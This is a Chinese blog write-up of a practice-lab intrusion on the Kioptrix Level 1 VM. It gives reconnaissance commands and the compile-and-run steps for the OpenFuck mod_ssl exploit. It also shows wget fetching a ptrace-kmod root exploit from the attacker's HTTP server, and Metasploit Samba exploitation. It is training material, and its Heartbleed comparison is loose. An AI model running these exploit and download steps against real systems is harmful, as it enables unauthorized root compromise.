当前位置: 首页 > news >正文

靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞

声明
学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

一、准备工作

首先使用 vmware 导入靶机文件,

然后网络模式改成 nat 模式即可

我们打开靶机后发现需要我们拿到 root 权限,那我们尝试外部渗透

二、开始工作

1、信息收集

1、首先探测出目标 ip,我们再对目标 ip 地址进行端口存活的扫描,以及使用的服务版本信息等

1、ifconfg(查看自己网段)
2、nmap -sS -sV 192.168.122.188
3、nmap -sn 192.168.122.x/2(探测全网段ip)
4、arp-scan -l(探测存活主机)
5、指纹探测,nmap -p- -sV -A 192.168.122.188(-sV: 服务版本扫描 -A:全面扫描 -p-:全端口扫描,信息全面,比较好确认使用的服务相关信息)

以下便是我们采用不同方式探测到的主机 ip

指纹探测,推荐使用第 namp -sS -sV ip 探测出来的很清晰,信息很集中

我们得到的信息:

  • 22 端口开放,ssh 服务(可尝试弱口令)

  • 80 端口开放,Apache httpd 1.3.20 ((Unix),mod_ssl/2.8.4 OpenSSL/0.9.6b),Apache 版本过低可能存在 mod_ssl 漏洞。

  • 443 端口开放,(80,443 在浏览器上尝试一下)

  • 139 端口开放,Samba 服务,可能存在漏洞利用

2、信息利用
一、找相关exp文件

1、我们尝试利用访问浏览器的 80、443 端口,查询是否有可利用信息

80 端口的页面只有使用的 Apache 服务,和 RedHat,并没给出特别有用信息

2、端口 139 利用(SMB)

nmap -T4 -A -p 139 192.168.122.188
smbclient -L //SERVER -I 192.168.139.5 -N
匿名登录smb
enum4linux -a IP
enum4linux 介绍:enum4linux -a 是一个用于枚举 Windows 和 Samba 系统信息的工具,它提供了多种功能,包括获取用户列表、机器列表、共享列表、密码策略信息、组和成员列表等。以下是关于 enum4linux -a 的详细解释和使用方法。
enum4linux -a 命令会执行一系列的枚举操作,以获取目标系统上的各种信息。具体来说,它会执行以下操作:
获取用户列表(-U)
获取机器列表(-M)
获取共享列表(-S)
获取密码策略信息(-P)
获取组和成员列表(-G)
通过 RID 循环枚举用户(-r)
获取操作系统信息(-o)
获取打印机信息(-i)
做一个 nmblookup(类似于 nbtstat)(-n)
详细输出,显示正在运行的完整命令(-v)

3、使用 dirb,和 dirsearch 扫描目录

dirb http://192.168.122.188
dirsearch http://192.168.122.188 -e * -i 200
区别:dirb是kali自带的扫描工具,而dirsearch需要自己下载

这是我们的探测结果,我们去尝试打开他们

我们尝试 url,发现了这样一个 mod_ssl 漏洞信息,也是靶场给我们的提示,我们借着这个信息顺藤摸瓜。

漏洞介绍: Apache 的 mod_ssl 缓冲区溢出漏洞主要因模块未严格验证 SSL/TLS 协议处理中的输入数据边界,导致攻击者可通过构造恶意请求覆盖相邻内存区域。例如,早期 OpenSSL 版本(如 CVE-2014-0160 心脏出血漏洞)因未检查心跳包长度,引发信息泄露,而类似逻辑缺陷可能扩展为代码执行风险 4。此类漏洞通常通过发送超长或畸形 SSL 数据触发,可能造成服务崩溃或远程控制服务器。

3、寻找相关 exp 既然我们也清晰了相关漏洞,那我们就要找到相关的 exp,对症下药。

1、searchsploit apache 1.3.20
2、searchsploit mod_ssl
3、选择在网站上查询,https://www.exploit-db.com/search
我们自己决定使用哪条命令,因为在之前我们收集到了mod_ssl的信息,我们选择第二条命令,选择哪种方式都ok

我们看到第二张图片, 如何判断我们要使用哪个 exp 也是一个问题,我们要根据之前的收集信息,RedHat、apache 版本等来确定使用哪个 exp。

我们将三个 exp 文件下载下来尝试去编译,我们下载后先查看运行的相关信息

记得换源,这个就自行更改就行

4、使用 exp

gcc -o OpenFuck 47080.c -lcrypto
使用gcc编译我们的47080.c,每个文件都尝试一下
./OpenFuck | grep 1.3.20
检索查询编译后二进制文件

以下是两种检索方式

这么多文件我们要选择哪一个呢,记住我们之前收集到的信息,RedHat、Apache1.3.20

ok,ox6a 的文件的用户权限是 apache,也就是普通用户,这时候我们进行提权 a、下载提权脚本

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

b、本机终端开启 80 端口监听服务

python -m http.server 80

c、另外开一个终端连接靶机然后在本机 80 端口下载提权文件

wget http://192.168.122.187:80/ptrace-kmod.c
注意,ip是本机ip,弄错了就去找块豆腐撞死好吧

d、我在再次编译 OpenFcuk 文件,这次登录后实质上已经编译了 ptrace-kmod.c

./OpenFuck 0x6b 192.168.122.188 443 -c 40

这时候权限就已经变成了 root

这个时候就可以任意访问靶机文件了

二、使用msf,smaba漏洞

这里我也是看了其他大佬的文章,也可以使用msf方式进行提权,接下来我们尝试一下

先来个简单的介绍,这种通常要记住端口自己找一找关键信息

Samba远程代码执行漏洞利用 Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。samba监听端口:TCP 139/445 | UDP 137/138

1、打开msf

msfconsole 
我们打开msf工具

2、确定版本 我们要确定我们的smaba版本

这里我们还是要设定参数的,首先我们选择了探测smaba版本的工具,输入options然后设置探测端口,再运行,我们得到了smaba版本号是2.2.1a

按照大佬所说的小技巧,一般是great和excelle成功率比较高,还是根据信息收集,选择linux x86

拿下!

总结:虽然拿下了,但是也是建立在别人知识的基础上,但是作为打靶路上的第一站,我觉得打靶真的可以学到很多东西,虽然只是一个简单靶场但还是比较有成就感。其次把打靶的流程也熟悉了一遍包括工具的使用,对于我这个喜欢啃书本的人来说,实战是非常有冲击感的,希望以此为始来见证我的渗透之路,走着。

后续我也会出更多打靶文章,希望大家关注!谢谢。

相关文章:

靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞

声明 学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一、准备工作 首先使用 vmware 导入靶机文件, 然后网络模式改成 nat 模式即可 我们打…...

【Viewer.js】vue3封装图片查看器

效果图 需求 点击图片放大可关闭放大的 图片 下载 cnpm in viewerjs状态管理方法 stores/imgSeeStore.js import { defineStore } from pinia export const imgSeeStore defineStore(imgSeeStore, {state: () > ({showImgSee: false,ImgUrl: ,}),getters: {},actions: {…...

stm32mp采用spi接口扩展can

在 STM32MP 系列微处理器中,通过 SPI 转 CAN 功能扩展 CAN 接口需要结合硬件设计(如使用 SPI 接口的 CAN 控制器芯片)和 Linux 驱动配置。以下是详细的实现步骤和关键点: 硬件选型与连接 常用 SPI 转 CAN 芯片MCP2515:经典 SPI 转 CAN 控制器,支持 CAN 2.0B。MCP2517FD:…...

forge-1.21.x模组开发(二)给物品添加功能

功能效果 创建一个兑换券,当使用兑换券对着兑换机右键时,获得一条烤鱼 创建兑换券 创建ExchangeCouponsItem.java,继承Item,定义兑换券内容 public class ExchangeCouponsItem extends Item {public ExchangeCouponsItem(Prop…...

创建第一个 Maven 项目(一)

一、引言 在 Java 开发的广袤天地中,Maven 宛如一位全能的管家,发挥着举足轻重的作用。它是一个基于项目对象模型(POM)的项目管理和构建自动化工具,极大地简化了 Java 项目的开发流程。 Maven 的核心优势之一在于其强…...

网络运维学习笔记 022 HCIA-Datacom新增知识点03园区网典型组网架构及案例实战

园区网典型组网架构及案例实战 园区网:内部运行了园区网协议的一个主体网络 园区网络典型架构 园区网络常用协议与技术: 接入层: VLAN、生成树、链路聚合、AAA、dhcp-snooping等 汇聚层:DHCP、堆叠、链路聚合、生成树、OSPF、静…...

python-leetcode-二叉树的直径

543. 二叉树的直径 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solutio…...

ubuntu中打包与压缩命令详解

Ubuntu 中打包与压缩命令详解 在 Ubuntu 系统中,打包和压缩文件是常见的操作。通过打包和压缩,可以将多个文件或目录合并为一个文件,并减小文件大小以节省存储空间或方便传输。本文将详细介绍 Ubuntu 中常用的打包与压缩命令及其用法。 目录…...

Linux MySQL 8.0.29 忽略表名大小写配置

Linux MySQL 8.0.29 忽略表名大小写配置 问题背景解决方案遇到的问题: 问题背景 突然发现有个大写的表报不存在。 在Windows上,MySQL是默认支持忽略大小写的。 这个时候你要查询一下是不是没有配置: SHOW VARIABLES LIKE lower_case_table…...

【c++】【线程池】线程池模式

【c】【线程池】线程池模式 1 L/F领导者与跟随者模式 概述:在此模式中,线程池中的线程分为:领导者(Leader),跟随者(Follower)和工作者(Processor) 领导者线…...

Next.js 学习-1

Next.js学习 引用:https://www.nextjs.cn/learn/basics/create-nextjs-app 先试试水吧,正好dify用的这个构建的前端项目。 使用 如果您尚未安装 Node.js,请 从此处安装。要求 Node.js 10.13 或更高版本。 好吧得用新的了,记得…...

bat命令在b站下载单个音视频

文章目录 单个音频第一行代码第二行代码下载后效果图 单个视频第一行代码第二行代码第三行代码第四行代码第五行代码下载后效果图 单个音视频第一行代码第二行代码第三行代码第四行代码第五行代码第六行代码下载后的效果图 单个音频 chcp 65001 you-get -o D:\Files\pydownloa…...

函数中的形参和实参(吐槽)

def greet_user(user_name):print(f"Hello,{user_name.title()}!")greet_user("zhangsan") 在以上函数中,user_name是形参, 在greet_user("zhangsan")中,值“zhangsan”是实参。这本身没什么大问题。 但是这…...

运维Ansible面试题及参考答案

目录 简述 Ansible 的工作原理,它是如何实现对远程主机管理的? Ansible 是基于什么语言开发的?这门语言的特性对 Ansible 的功能实现有哪些帮助? 解释 Agentless 在 Ansible 中的含义,与基于 Agent 的自动化工具相比,优势体现在哪? Ansible 中的 Inventory 文件是什…...

3、优先级翻转问题

FreeRTOS优先级翻转是当高优先级任务因等待低优先级任务占用的资源(如互斥锁)被阻塞,而中优先级任务趁机执行,导致高优先级任务无法及时运行的调度异常。 场景示例: 任务优先级:存在三个任务,优…...

python 进程池的基本使用

Python 进程池:Pool任务调度实现 在现代计算机系统重,处理器核心数量的增加为并行计算提供了强大的硬件基础。Python的 multiprocessing 模块中的进程池(Pool)机制,为开发者提供了 一个高效且易用的并行处理框架。 通…...

从零开始学 Rust:基本概念——变量、数据类型、函数、控制流

文章目录 Variables and MutabilityShadowing Data TypesScalar TypesCompound Types FunctionsFunction Parameters CommentsControl FlowRepetition with Loops Variables and Mutability fn main() {let mut x 5;println!("The value of x is: {}", x);x 6;pri…...

记录一次SpringMVC的406错误

原生态的406错误 1. 错误起因2. 解决办法解决方式一 检查是否有导入jackson依赖解决方式二 检查web.xml中是否有配置.html 3. 再次测试 1. 错误起因 最近博主准备重新撸一遍SSM以及SpringBoot的源码,于是用原始的SpringMVC写了一个demo,并且用Tomcat进行…...

Github 2025-02-23 php开源项目日报 Top9

根据Github Trendings的统计,今日(2025-02-23统计)共有9个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量PHP项目9JavaScript项目2Shell项目1TypeScript项目1Blade项目1Java项目1ASP项目1Vue项目1Laravel:表达力和优雅的 Web 应用程序框架 创建周期:…...

一、初始爬虫

1.爬虫的相关概念 1.1 什么是爬虫 网络爬虫(又被称为网页蜘蛛,网络机器人)就是模拟浏览器发送网络请求,接收请求响应,一种按照一定的规则,自动地爬取互联网信息的程序。 原则上,只要是浏览器…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...

测试markdown--肇兴

day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...

涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战

“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...

JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案

JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停​​ 1. ​​安全点(Safepoint)阻塞​​ ​​现象​​:JVM暂停但无GC日志,日志显示No GCs detected。​​原因​​:JVM等待所有线程进入安全点(如…...

九天毕昇深度学习平台 | 如何安装库?

pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...

Caliper 配置文件解析:fisco-bcos.json

config.yaml 文件 config.yaml 是 Caliper 的主配置文件,通常包含以下内容: test:name: fisco-bcos-test # 测试名称description: Performance test of FISCO-BCOS # 测试描述workers:type: local # 工作进程类型number: 5 # 工作进程数量monitor:type: - docker- pro…...

【Linux系统】Linux环境变量:系统配置的隐形指挥官

。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量:setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...

ThreadLocal 源码

ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物,因为每个访问一个线程局部变量的线程(通过其 get 或 set 方法)都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段,这些类希望将…...